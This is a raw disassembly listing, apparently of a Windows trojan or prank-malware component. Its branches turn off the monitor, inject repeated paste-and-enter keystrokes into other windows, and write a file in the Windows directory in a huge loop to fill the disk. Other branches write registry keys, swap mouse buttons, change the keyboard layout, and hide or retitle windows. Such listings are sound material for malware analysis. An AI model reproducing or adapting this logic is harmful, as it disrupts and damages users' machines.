mov eax, dword [0x1315be94]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x131561a1
mov dl, 1
xor eax, eax
call fcn.1314c0b4
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315be98]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x131561d3
push 2
push 0xf170
push 0x112
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.user32.dll_SendMessageA
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315be9c]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x131561fd
push 0x2328
push 0x3e8
call sub.kernel32.dll_Beep
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315bea0]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x1315645a
xor edi, edi
call fcn.1314e92c
mov dword [0x1315bdf8], 1
call fcn.1314e92c
push 0
push 0x13158ea8
call sub.user32.dll_FindWindowA
mov ebx, eax
call fcn.1314e92c
test ebx, ebx
jbe 0x13156335
push 1
push ebx
call sub.user32.dll_ShowWindow
call fcn.1314e92c
push ebx
call sub.user32.dll_SetForegroundWindow
call fcn.1314e92c
mov esi, 1
add edi, dword [0x1315bdf8]
call fcn.1314e92c
cmp edi, 0x32
je 0x1315645f
call fcn.1314e92c
push 0x9c4
call sub.kernel32.dll_Sleep
call fcn.1314e92c
push 1
push ebx
call sub.user32.dll_ShowWindow
call fcn.1314e92c
push ebx
call sub.user32.dll_SetForegroundWindow
call fcn.1314e92c
mov eax, dword [0x1315be18]
call fcn.1314e7d8
call fcn.1314e92c
mov al, 0x28
call fcn.1314e794
call fcn.1314e92c
mov al, 0x28
call fcn.1314e7a4
call fcn.1314e92c
xor edx, edx
mov al, 0xd
call fcn.1314e7b4
call fcn.1314e92c
mov al, 0x11
call fcn.1314e794
call fcn.1314e92c
mov al, 0x56
call fcn.1314e794
call fcn.1314e92c
mov al, 0x11
call fcn.1314e7a4
call fcn.1314e92c
mov al, 0x56
call fcn.1314e7a4
call fcn.1314e92c
xor edx, edx
mov al, 9
call fcn.1314e7b4
call fcn.1314e92c
xor edx, edx
mov al, 0xd
call fcn.1314e7b4
call fcn.1314e92c
inc esi
cmp esi, 0x33
jne 0x13156265
call fcn.1314e92c
call fcn.1314e92c
test ebx, ebx
jne 0x1315634c
push 0
push 0x13158eb4
call sub.user32.dll_FindWindowA
mov ebx, eax
call fcn.1314e92c
test ebx, ebx
jbe 0x13156455
push 1
push ebx
call sub.user32.dll_ShowWindow
call fcn.1314e92c
push ebx
call sub.user32.dll_SetForegroundWindow
call fcn.1314e92c
mov esi, 1
add edi, dword [0x1315bdf8]
call fcn.1314e92c
cmp edi, 0x32
je 0x1315645f
call fcn.1314e92c
push 0x9c4
call sub.kernel32.dll_Sleep
call fcn.1314e92c
push 1
push ebx
call sub.user32.dll_ShowWindow
call fcn.1314e92c
push ebx
call sub.user32.dll_SetForegroundWindow
call fcn.1314e92c
mov eax, dword [0x1315be18]
call fcn.1314e7d8
call fcn.1314e92c
mov al, 0x28
call fcn.1314e794
call fcn.1314e92c
mov al, 0x28
call fcn.1314e7a4
call fcn.1314e92c
xor edx, edx
mov al, 0xd
call fcn.1314e7b4
call fcn.1314e92c
mov al, 0x11
call fcn.1314e794
call fcn.1314e92c
mov al, 0x56
call fcn.1314e794
call fcn.1314e92c
mov al, 0x11
call fcn.1314e7a4
call fcn.1314e92c
mov al, 0x56
call fcn.1314e7a4
call fcn.1314e92c
xor edx, edx
mov al, 9
call fcn.1314e7b4
call fcn.1314e92c
xor edx, edx
mov al, 0xd
call fcn.1314e7b4
call fcn.1314e92c
push 0x1f4
call sub.kernel32.dll_Sleep
call fcn.1314e92c
inc esi
cmp esi, 0x33
jne 0x13156376
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315bed4]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x1315655c
push dword [0x1315be6c]
push dword [0x1315be70]
push 0x131587cc
mov eax, 0x1315be28
mov edx, 3
call fcn.131447ac
call fcn.1314e92c
push 0x101
push 0x1315bce8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315bdec], 0x1315bce8
call fcn.1314e92c
mov eax, 0x1315be00
mov edx, dword [0x1315bdec]
call fcn.13144648
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be70]
lea eax, [ebp - 0x450]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x450]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
mov esi, 1
push 0
push 0x1315be38
mov eax, dword [0x1315be28]
call fcn.131446ec
push eax
push 0x1315be28
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
inc esi
cmp esi, 0x3b9aca01
jne 0x13156521
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315bea4]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13156583
push 0
push 0x13158ec8
call sub.kernel32.dll_WinExec
call fcn.1314e92c
call fcn.1314e92c
call fcn.13142ca4
call fcn.1314e92c
mov eax, 3
call fcn.131432a4
mov esi, eax
call fcn.1314e92c
test esi, esi
jne 0x131565be
mov eax, 0xea60
call fcn.131432a4
push eax
call sub.kernel32.dll_Sleep
call fcn.1314e92c
jmp 0x131565ef
cmp esi, 1
jne 0x131565d5
mov eax, 0x15f90
call fcn.131432a4
push eax
call sub.kernel32.dll_Sleep
jmp 0x131565ea
cmp esi, 2
jne 0x131565ea
mov eax, 0x7530
call fcn.131432a4
push eax
call sub.kernel32.dll_Sleep
call fcn.1314e92c
call fcn.1314e92c
call fcn.13142ca4
call fcn.1314e92c
mov eax, 0x384
call fcn.131432a4
mov dword [0x1315bdfc], eax
call fcn.1314e92c
cmp dword [0x1315bdfc], 0x21
jne 0x1315662e
push 0x40
push 0x13158ed8
push 0x13158edc
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
cmp dword [0x1315bdfc], 0xc8
jne 0x13156652
push 0x30
push 0x13158ef4
push 0x13158f00
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
cmp dword [0x1315bdfc], 0x1b0
jne 0x131566d8
push 0x131585d8
mov ecx, 0x13158f30
mov edx, 0x13158f44
mov eax, 0x80000002
call fcn.1314c6fc
call fcn.1314e92c
push 0x12c
call sub.kernel32.dll_Sleep
call fcn.1314e92c
mov al, 0x11
call fcn.1314e794
call fcn.1314e92c
mov al, 0x91
call fcn.1314e794
call fcn.1314e92c
mov al, 0x91
call fcn.1314e7a4
call fcn.1314e92c
mov al, 0x91
call fcn.1314e794
call fcn.1314e92c
mov al, 0x91
call fcn.1314e7a4
call fcn.1314e92c
mov al, 0x11
call fcn.1314e7a4
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315bdfc], 4
jne 0x13156704
push 0x131585d8
mov ecx, 0x13158f78
mov edx, 0x13158f88
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315bdfc], 4
jne 0x131567ac
push 0x131585d8
mov ecx, 0x13158fcc
mov edx, 0x13158f88
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
push 0x13158fe0
mov ecx, 0x13158fcc
mov edx, 0x13158f88
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
push 0x13158fec
mov ecx, 0x13158fcc
mov edx, 0x13158f88
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
push 0x13158ff8
mov ecx, 0x13158fcc
mov edx, 0x13158f88
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
push 0x13159004
mov ecx, 0x13158fcc
mov edx, 0x13158f88
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315bdfc], 0xb1
jne 0x131567ce
push 1
push 0x13159008
call sub.user32.dll_LoadKeyboardLayoutA
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315bdfc], 0x378
jne 0x131567eb
push 0xffffffffffffffff
call sub.user32.dll_SwapMouseButton
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315bdfc], 0x309
jne 0x1315680b
mov eax, 0x1315901c
call fcn.1314e7d8
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315bdfc], 0x29a
jne 0x13156894
mov eax, 0x13159028
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13159034
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13159040
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315904c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315905c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13159068
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315bdfc], 0x222
jne 0x131568c5
push 0
push 0x13159074
call sub.user32.dll_FindWindowA
mov ebx, eax
call fcn.1314e92c
push 0
push ebx
call sub.user32.dll_ShowWindow
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315bdfc], 0xeb
jne 0x131568f6
push 0
push 0
push 0xa
push 0x13159084
push 0x13159094
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_SendMessageA
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315bdfc], 0x235
jne 0x1315693f
xor eax, eax
push ebp
push 0x13156930
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x1314d34c
call sub.user32.dll_EnumWindows
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1315693a
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315bdfc], 0x2a2
jne 0x13156965
push 0x13158a18
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_SetWindowTextA
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315bdfc], 1
jne 0x131569a4
xor eax, eax
push ebp
push 0x13156995
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.1314d558
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1315699f
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315bdfc], 0x303
jne 0x131569c3
xor edx, edx
mov al, 0xd
call fcn.1314e7b4
call fcn.1314e92c
call fcn.1314e92c
jmp 0x1315461b